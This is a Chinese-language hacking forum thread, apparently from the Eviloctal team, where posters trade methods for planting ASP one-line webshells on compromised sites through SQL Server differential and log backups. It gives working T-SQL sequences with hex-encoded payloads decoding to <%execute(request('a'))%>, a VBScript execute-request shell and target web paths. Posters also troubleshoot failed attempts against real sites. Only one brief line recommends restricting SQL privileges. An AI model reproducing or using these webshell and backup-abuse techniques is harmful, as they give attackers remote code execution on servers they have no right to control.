议题提交：ck11
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

在最近的入侵中。。我发现一个问题 DB权限备份差异传1句话木马
发现很多问题
1。DB差异备份上 http500错误 最希望解决的
2。DB差异备份上 出现ASP错误126 和 139
显示脚本缺少标记 我用

复制内容到剪贴板

代码:

<script language="vbscript" runat="server">
execute request("l")
</script>

上传也是暴错
海洋也是
希望得到解答
[s:43]

用xiaolu的那个试下..我一直都用那个
利用差异备份提高提高backupwebshell的成功率,减少文件大小
步骤:
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s

create table [dbo].[xiaolu] ([cmd] [image]);

insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT

0x77006F006B0061006F002E00620061006B00为wokao.bak
0x3C25657865637574652872657175657374282261222929253E是<%execute(request("a"))%>
0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp

我就是用小路的。。。 backupwebshel2.0.....
不成功

你们发现没有，有时备份出来的asp木马代码是分开的，不能用。500

恩 但是我从来没上传成功过。。。 不下20个站 10万名开外的。。。
是不是格式有问题？

备份 SHELL 我就经常成功，用的一句话，也是本身自带的那个

说实话还不如截断日志然后被份

引用:

下面是引用kevin1986于2005-10-26 12:03发表的:
说实话还不如截断日志然后被份

楼上说的让人开朗了好多，实战中好多备份出来的asp中都有未闭合的<%、还有一些无效的字符，如果截断的话，大大解决了这一大难题。
不过，怎么截断日志再进行备份，请楼上kevin1986祥解，谢谢  ^_^

我也想知道。。
怎么截断日志
备份。。 [s:42]  [s:42]  [s:42]

其实所谓讨论的结果也就是让Backup出来的内容小一点嘛...
一个是Backup Database To Disk =
.另一个则是Backup log.....

我给个SQL语句得了,很早以前就知道了,但是感觉其实大家在原来的Backup Database上加一条语句就足够干净了的.

复制内容到剪贴板

代码:

use northwind;
--drop table lulu;
create table lulu(cmd image);
insert into lulu values(&#39;<%response.clear:execute request("a"):response.end%>&#39;);
backup log northwind to  disk=&#39;c:\\acci\\a.asp&#39; with init;

当然.你得先选好一个库才是.......

对SQL Server尽力限制对SQL Server的查询与存取操作。 用户可以用最小权限查询sql server中的很多东西。若非必须不要给他们机会。否则是不安全的。 [s:46]

现在的管理员似乎对SQL本身所带的权限不是很关心.
而在某些方面,这边的权限是我们所非常关心的......
同理可得比如WMI和注册表权限等....呵呵

截断日志的语句不怎么好用哈

Microsoft VBScript 编译器错误 错误 &#39;800a0408&#39;

无效字符

/localinvite/meili.asp，行7384

j
-^

就是这样的了。。。。

有的时候是不一定的成功的,特别对于一行大型的站点
而且狠毒时候都会出现500错误

什么差异备份，哪有详细资料？？？

我遇到的是ACCESS的数据库，还没碰到SQL的

郁闷~